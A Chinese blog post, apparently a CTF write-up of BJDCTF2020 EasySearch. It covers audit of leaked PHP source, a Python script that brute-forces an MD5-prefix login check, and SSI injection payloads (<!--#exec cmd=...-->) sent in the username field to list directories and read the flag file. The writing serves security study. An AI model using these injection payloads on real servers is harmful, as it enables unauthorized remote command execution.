当前位置:网站首页>[BJDCTF2020]EasySearch
[BJDCTF2020]EasySearch
2022-08-05 03:52:00 【pakho_C】
[BJDCTF2020]EasySearch
一个登陆页面,尝试了弱口令 爆破 注入无果
扫描目录发现index.php.swp
<?php
ob_start();
function get_hash(){
$chars = '[email protected]#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = ' *** *** <h1>Hello,'.$_POST['username'].'</h1> *** ***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
代码审计:
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
只要密码的md5值的前6位为6d0bc1即可登陆成功
参考爆破密码脚本:
import hashlib
for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()#获取摘要值
if a[0:6] == '6d0bc1':
print("find password!"+str(i))
break

得到密码为 2020666
接着看到shtml页面
SSI注入参考:SSI注入
代码中生成了一个shtml页面,登陆后无法查看,抓包观察返回包:
访问该页面:
得到登陆信息
这里用到shtml,HTML是静态的,而shtml基于SSI技术,当有服务器端可执行脚本时被当作一种动态编程语言,所以可以注入,也可以用来远程命令执行。
它的注入格式是这样的:<!--#exec cmd="命令"-->
所以只需要将username设置为payload即可
首先探测根目录:<!--#exec cmd="ls /"-->

根目录没有,那查看当前目录:<!--#exec cmd="ls"-->
也没有
查看上级目录:<!--#exec cmd="ls ../"-->
找到flag文件
查看flag:username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&&password=2020666
边栏推荐
- 事件解析树Drain3使用方法和解释
- Based on holding YOLOv5 custom implementation of FacePose YOLO structure interpretation, YOLO data format conversion, YOLO process modification"
- 不看后悔,appium自动化环境完美搭建
- token, jwt, oauth2, session parsing
- 21 Days Learning Challenge (2) Use of Graphical Device Trees
- UE4 第一人称角色模板 添加蹲伏功能
- public static
List asList(T... a) What is the prototype? - How to wrap markdown - md file
- Static method to get configuration file data
- 大佬们,我注意到mysql cdc connector有参数scan.incremental.sna
猜你喜欢

将故事写成我们

炎炎夏日教你利用小米智能家居配件+树莓派4接入Apple HomeKit

The most effective seven performance testing techniques of software testing techniques

How to solve the three major problems of bank data collection, data supplementary recording and index management?

36-Jenkins-Job Migration

Index Mysql in order to optimize paper 02 】 【 10 kinds of circumstances and the principle of failure

多列属性column元素的可见性:display、visibility、opacity、垂直对齐方式:vertical-align、z-index 越大越显示在上层

public static
List asList(T... a) What is the prototype? 
JeeSite新建报表

token, jwt, oauth2, session parsing
随机推荐
Based on holding YOLOv5 custom implementation of FacePose YOLO structure interpretation, YOLO data format conversion, YOLO process modification"
burp安装及代理设置
ffmpeg 像素格式基础知识
You may use special comments to disable some warnings. Three ways to report errors
ffmpeg pixel format basics
Call Alibaba Cloud oss and sms services
Getting Started with Kubernetes Networking
On governance and innovation, the 2022 OpenAtom Global Open Source Summit OpenAnolis sub-forum came to a successful conclusion
[Filter tracking] based on matlab unscented Kalman filter inertial navigation + DVL combined navigation [including Matlab source code 2019]
Never put off till tomorrow what you can put - house lease management system based on the SSM
【树莓派】树莓派调光
What is the difference between SAP ERP and ORACLE ERP?
After the large pixel panorama is completed, what are the promotion methods?
UE4 通过互动(键盘按键)开门
How do newcomers get started and learn software testing?
Redis1:Redis介绍、Redis基本特性、关系型数据库、非关系型数据库、数据库发展阶段
UE4 第一人称角色模板 添加冲刺(加速)功能
Dameng 8 database export and import
[Solved] Unity Coroutine coroutine is not executed effectively
Event parse tree Drain3 usage and explanation